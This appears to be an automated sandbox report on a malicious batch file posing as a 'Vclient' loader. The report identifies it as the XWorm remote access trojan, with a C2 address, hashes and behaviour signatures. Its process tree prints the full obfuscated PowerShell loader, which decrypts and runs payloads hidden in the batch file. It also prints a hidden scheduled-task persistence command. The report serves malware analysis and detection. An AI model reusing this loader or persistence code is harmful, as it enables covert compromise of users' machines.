Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/03/2025, 03:31

General

  • Target

    Vclient3.12-loader.bat

  • Size

    337KB

  • MD5

    b0b26501fa33bc553f9a54ca28a89a85

  • SHA1

    9f868d7d464375d1ea60c5234f4dd057ea85fce1

  • SHA256

    f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

  • SHA512

    fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069

  • SSDEEP

    6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Malware Config

Extracted

Family

xworm

C2

45.88.91.55:8893

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    sys-32.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4188
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:1428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3080
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_237_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_237.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2100
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_237.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3324
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_237.bat" "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2680
            • C:\Windows\system32\net.exe
              net file
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1756
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 file
                6⤵
                  PID:3616
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_237.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_237.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        661739d384d9dfd807a089721202900b

        SHA1

        5b2c5d6a7122b4ce849dc98e79a7713038feac55

        SHA256

        70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

        SHA512

        81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        f8d49a4af7a844bfc7247d5670def557

        SHA1

        26ae0ce194a77a7a1887cf93741293fdfa6c94c4

        SHA256

        61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b

        SHA512

        9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5rg15wbz.wor.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\startup_str_237.bat

        Filesize

        337KB

        MD5

        b0b26501fa33bc553f9a54ca28a89a85

        SHA1

        9f868d7d464375d1ea60c5234f4dd057ea85fce1

        SHA256

        f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

        SHA512

        fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069

      • C:\Users\Admin\AppData\Roaming\startup_str_237.vbs

        Filesize

        115B

        MD5

        b86becab049b29b680d87848833124bf

        SHA1

        0360b81d38586be27f52e4e1b744b7821088cbd2

        SHA256

        44a3186524c763c49e637e8e53a3a9c441a2788cf6314dab1f17831f6204007b

        SHA512

        5c9c274d7eea774c4bcda5fd66ece0476aebb62981e45609b6e6ebf45a61245bd1f941960b53cf33cbd4881cf0a7141bc0b06848b605a2213ed9a22ac89f378c

      • memory/1100-47-0x0000027F37860000-0x0000027F37892000-memory.dmp

        Filesize

        200KB

      • memory/2100-28-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

        Filesize

        10.8MB

      • memory/2100-25-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

        Filesize

        10.8MB

      • memory/3080-11-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

        Filesize

        10.8MB

      • memory/3080-14-0x000001D3ED7F0000-0x000001D3ED832000-memory.dmp

        Filesize

        264KB

      • memory/3080-13-0x000001D3ED7E0000-0x000001D3ED7E8000-memory.dmp

        Filesize

        32KB

      • memory/3080-12-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

        Filesize

        10.8MB

      • memory/3080-0-0x00007FFADCFD3000-0x00007FFADCFD5000-memory.dmp

        Filesize

        8KB

      • memory/3080-1-0x000001D3EB530000-0x000001D3EB552000-memory.dmp

        Filesize

        136KB

      • memory/3080-48-0x00007FFADCFD0000-0x00007FFADDA91000-memory.dmp

        Filesize

        10.8MB